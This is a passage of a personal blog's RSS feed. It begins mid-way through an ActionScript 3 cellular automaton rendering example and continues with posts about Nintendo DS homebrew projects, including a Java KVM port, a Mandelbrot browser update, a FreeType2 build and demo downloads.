</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> render<span style="color: #66cc66;">&#40;</span>ruleNum:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// clean up previous bitmap</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>bitmap != <span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; removeChild<span style="color: #66cc66;">&#40;</span>bitmap<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bitmap = <span style="color: #000000; font-weight: bold;">null</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>bdata != <span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">dispose</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata = <span style="color: #000000; font-weight: bold;">null</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// get width and height of the stage</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span> - <span style="color: #cc66cc;color:#800000;">20</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// build lookup table based on the rule number</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> rule:<span style="color: #0066CC;">Array</span> = <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;color:#800000;">0</span>; i &lt;<span style="color: #cc66cc;color:#800000;">8</span>; i++<span style="color: #66cc66;">&#41;</span> </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rule<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span> = <span style="color: #66cc66;">&#40;</span>ruleNum&gt;&gt; i<span style="color: #66cc66;">&#41;</span> &amp; <span style="color: #cc66cc;color:#800000;">1</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// create bitmap data that we will draw into</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>w, h, <span style="color: #000000; font-weight: bold;">false</span>, <span style="color: #cc66cc;color:#800000;">0</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// lock the bitmap data, provides speedups when you are doing a lot of manipulations</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">lock</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// set the starting data - a single pixel in the center</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">setPixel</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">round</span><span style="color: #66cc66;">&#40;</span>w/<span style="color: #cc66cc;color:#800000;">2</span><span style="color: #66cc66;">&#41;</span>, <span style="color: #cc66cc;color:#800000;">0</span>, <span style="color: #cc66cc;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// loop row by row</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> y:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;color:#800000;">1</span>; y &lt;h; y++<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// loop pixel by pixel</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> x:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;color:#800000;">0</span>; x &lt;w; x++<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span> </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// use lookup table based up 3 neighboring pixels to calculate new pixel</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">setPixel</span><span style="color: #66cc66;">&#40;</span>x, y,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rule<span style="color: #66cc66;">&#91;</span>bdata.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>x - <span style="color: #cc66cc;color:#800000;">1</span>, y - <span style="color: #cc66cc;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span> &lt;&lt;<span style="color: #cc66cc;color:#800000;">2</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; | bdata.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>x&nbsp; &nbsp; , y - <span style="color: #cc66cc;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span> &lt;&lt;<span style="color: #cc66cc;color:#800000;">1</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; | bdata.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>x + <span style="color: #cc66cc;color:#800000;">1</span>, y - <span style="color: #cc66cc;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// map the pixels, 0-white, 1-black</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">paletteMap</span><span style="color: #66cc66;">&#40;</span>bdata, </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;color:#800000;">0</span>, <span style="color: #cc66cc;color:#800000;">0</span>, w, h<span style="color: #66cc66;">&#41;</span>, <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;color:#800000;">0</span>, <span style="color: #cc66cc;color:#800000;">0</span><span style="color: #66cc66;">&#41;</span>, </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>, <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>, <span style="color: #66cc66;">&#91;</span>0xffffff, <span style="color: #cc66cc;color:#800000;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">unlock</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">// unlock the bitmap data</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// create the bitmap to hold the data</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bitmap = <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>bdata, PixelSnapping.<span style="color: #006600;">ALWAYS</span>, <span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bitmap.<span style="color: #006600;">y</span> = <span style="color: #cc66cc;color:#800000;">21</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addChildAt<span style="color: #66cc66;">&#40;</span>bitmap,<span style="color: #cc66cc;color:#800000;">0</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">// add it to our display list so we can see it</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2008/08/22/simple-cellular-automata-example-in-as3/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Partial MIDP support on the DS</title>
		<link>http://blog.davr.org/2008/06/09/partial-midp-support-on-the-ds/</link>
		<comments>http://blog.davr.org/2008/06/09/partial-midp-support-on-the-ds/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 17:41:54 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Nintendo DS]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=78</guid>
		<description><![CDATA[ole has taken my KVM port to Nintendo DS and added some updates. I haven't played with it much, but he lists the changes as follows. R3: New features added by Ole: fixed the CLDC implementation (timer, memory size, system properties) added support for reading of the PNG images (code taken from the PhoneMe project) [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.volny.cz/molej/pstrosnds">ole</a> has taken my <a href="http://blog.davr.org/2007/08/08/java-for-nds/">KVM port to Nintendo DS</a> and added some updates. I haven't played with it much, but he lists the changes as follows.</p>
<p><b>R3: New features added by Ole:</b></p>
<ul>
<li>fixed the CLDC implementation (timer,  memory size, system properties)</li>
<li>added support for reading of the PNG images (code taken from the PhoneMe project)</li>
<li>implemented native functions for rendering the basic graphics primitives on the screen<br />
  (lines, rectangles, triangles, images)</li>
<li>added support for accepting the JAD files in the application browser</li>
<li>added the core part of the Pstros MIDP library</li>
<li>added VideoTest example to show how to draw on the screen</li>
<li>added '_rebuild.bat' to show how to build and preverify the class files.<br />
  Note WTK installation is required.</li>
</ul>
<p>This is quite interesting if it is able to run some MIDP-compliant games, but we'll need to do some testing to see how the speed compares to your average mobile phone.</p>
<p><b>UPDATE:</b> He's made a few more updates since I originally made this post. Be sure to check out <a href="http://www.volny.cz/molej/pstrosnds/">ole's site</a> for the latest info and download links.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2008/06/09/partial-midp-support-on-the-ds/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>DLDI-support for Mandelbrots</title>
		<link>http://blog.davr.org/2008/05/05/dldi-support-for-mandelbrots/</link>
		<comments>http://blog.davr.org/2008/05/05/dldi-support-for-mandelbrots/#comments</comments>
		<pubDate>Mon, 05 May 2008 17:59:43 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Mandelbrot]]></category>
		<category><![CDATA[Nintendo DS]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://blog.davr.org/2008/05/05/dldi-support-for-mandelbrots/</guid>
		<description><![CDATA[Just a tiny update to my homebrew mandelbrot browser for Nintendo DS. This version merely adds DLDI-support, meaning you should be able to save screenshots as .PNG from pretty much any flashcart. Check the previous post for screenshots, more info, etc. To the right is an actual image saved from the program. Download r06 .nds]]></description>
			<content:encoded><![CDATA[<p><img src="http://davr.org/ds2/mandel99.png" width="256" height="192" align="right"/>Just a tiny update to my homebrew mandelbrot browser for Nintendo DS. This version merely adds DLDI-support, meaning you should be able to save screenshots as .PNG from pretty much any flashcart. Check the <a href="http://blog.davr.org/2006/08/16/more-mandelbrots/">previous post</a> for screenshots, more info, etc. To the right is an actual image saved from the program.</p>
<p><b><a href="http://davr.org/ds2/mandel06.zip">Download r06 .nds</a></b></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2008/05/05/dldi-support-for-mandelbrots/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Freetype2 compiled for NDS</title>
		<link>http://blog.davr.org/2007/12/01/freetype2-compiled-for-nds/</link>
		<comments>http://blog.davr.org/2007/12/01/freetype2-compiled-for-nds/#comments</comments>
		<pubDate>Sat, 01 Dec 2007 23:20:41 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Nintendo DS]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://blog.davr.org/2007/12/01/freetype2-compiled-for-nds/</guid>
		<description><![CDATA[Someone was having trouble compiling it, so I threw this together real quick. See FreeType's official site for more info on it, but basically it's a library for rendering nice ttf fonts, and it's been compiled so that it can run on Nintendo DS. It wont do anything on its own, this is really only [...]]]></description>
			<content:encoded><![CDATA[<p>Someone was having trouble compiling it, so I threw this together real quick.<br />
See <a href="http://freetype.sourceforge.net/">FreeType's official site</a> for more info on it, but basically it's a library for rendering nice ttf fonts, and it's been compiled so that it can run on Nintendo DS. It wont do anything on its own, this is really only useful for homebrew developers who want to include some sort of nice font rendering.</p>
<p><a href="http://davr.org/ds2/freetype-2.3.5-nds-dka-r21.zip">freetype-2.3.5-nds-dka-r21.zip</a> (1.2MB)</p>
<p>It's been compiled with devKitARM r21, no guarantees it will work with any later/earlier version. In fact, no guarantees it will work at all, I haven't actually tested it...but it compiles without any errors. I had to disable two checks in in the configure script, because it kept getting confused when I told it to compile for arm-eabi.</p>
<p>If anyone uses this, would be nice to know, drop me a line in the comment section.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2007/12/01/freetype2-compiled-for-nds/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>New DS Demos</title>
		<link>http://blog.davr.org/2007/11/28/new-ds-demos/</link>
		<comments>http://blog.davr.org/2007/11/28/new-ds-demos/#comments</comments>
		<pubDate>Wed, 28 Nov 2007 18:17:30 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Nintendo DS]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://blog.davr.org/2007/11/28/new-ds-demos/</guid>
		<description><![CDATA[I've uploaded a new batch of DS demos that are free to download. I've put them on a new page, separate from the old one, so it's easy to see the new ones. There are a bunch of fun looking ones, be sure to check them out! New Demos Page Previous Demo Collection]]></description>
			<content:encoded><![CDATA[<p><img src="http://davr.org/ds2/demos2/index.png" width="272" height="102" /></p>
<p>I've uploaded a new batch of DS demos that are free to download. I've put them on a new page, separate from the old one, so it's easy to see the new ones. There are a bunch of fun looking ones, be sure to check them out!</p>
<p><a href="http://davr.org/ds2/demos2/">New Demos Page</a><br />
<a href="http://blog.davr.org/2006/11/27/ds-downloadable-demos-collection/">Previous Demo Collection</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2007/11/28/new-ds-demos/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Java for NDS?</title>
		<link>http://blog.davr.org/2007/08/08/java-for-nds/</link>
		<comments>http://blog.davr.org/2007/08/08/java-for-nds/#comments</comments>
		<pubDate>Wed, 08 Aug 2007 16:36:36 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Nintendo DS]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://blog.davr.org/2007/08/08/java-for-nds/</guid>
		<description><![CDATA[I know what you're thinking..."That's a horrible idea and you're a horrible person for suggesting it!" The main problems with Java on DS: 1. Interpreted languages are slower, the overhead is bad on a slower embedded platform 2. No direct memory access. Almost all of the DS hardware is interfaced by reading and writing directly [...]]]></description>
			<content:encoded><![CDATA[<p>I know what you're thinking..."That's a horrible idea and you're a horrible person for suggesting it!"<br />
<img src="http://davr.org/ds2/java4nds_r2.png" width="260" height="394" align="right"/><br />
The main problems with Java on DS:<br />
1. Interpreted languages are slower, the overhead is bad on a slower embedded platform<br />
2. No direct memory access. Almost all of the DS hardware is interfaced by reading and writing directly to specific memory locations<br />
3. No primitive unsigned 8-bit types. What were they thinking?</p>
<p>But...I went ahead and did it anyway, just for fun. I didn't start from scratch, I took  <a href="http://www.torlus.com/index.php?2004/01/05/25-java4gba---a-java-virtual-machine-for-gba">Torlus's KVM port to GBA</a> and used that as a base for getting it to work on DS. Right now, when it starts, you pick a .class file, and it will run it! In addition, using KNI, I've written a basic wrapper around parts of libnds, enough to read input from the touchscreen/buttons, and to move sprites around.</p>
<p>Download here: <a href="http://davr.org/ds2/java4nds_r2.zip">java4nds_r2.zip</a> -- includes the compiled KVM.nds, some examples along with source code, and instructions on making your own .java files.</p>
<p>To use this demo, place kvm.nds, all the *.class files, and all the *.bin files on the root of your flashcart.<br />
